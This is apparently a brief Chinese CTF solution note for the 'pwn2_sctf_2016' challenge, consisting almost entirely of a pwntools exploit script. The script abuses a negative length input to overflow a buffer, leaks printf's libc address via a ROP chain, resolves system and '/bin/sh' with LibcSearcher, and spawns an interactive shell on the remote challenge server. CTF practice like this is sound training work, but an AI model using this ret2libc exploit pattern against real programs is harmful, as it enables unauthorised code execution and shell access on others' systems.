32的libc rop
64位是7f(8位),32位是f7(4位)
exp:
from pwn import *
from LibcSearcher import *
local_file = './pwn2_sctf_2016'
local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so'
remote_libc = './libc.so.6'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 27695)
#libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
main = elf.sym['main']
sla('read? ', '-1')
p1 = flat(['a'*0x2c, 'b'*4, printf_plt, main, printf_got])
sla('data!\n', p1)
#log.info(rl())
printf_addr = uu32(ru('\xf7')[-4:])
#printf_addr = uu32(rc(4))
log.info((printf_addr))
libc = LibcSearcher('printf', printf_addr)
libcbase = printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
p2 = flat(['a'*0x2c, 'b'*4, system_addr, 'b'*4, binsh_addr])
sla('read? ', '-1')
sla('data!\n', p2)
r.interactive()
不过程序本身有int 80,说不定还可以用syscall做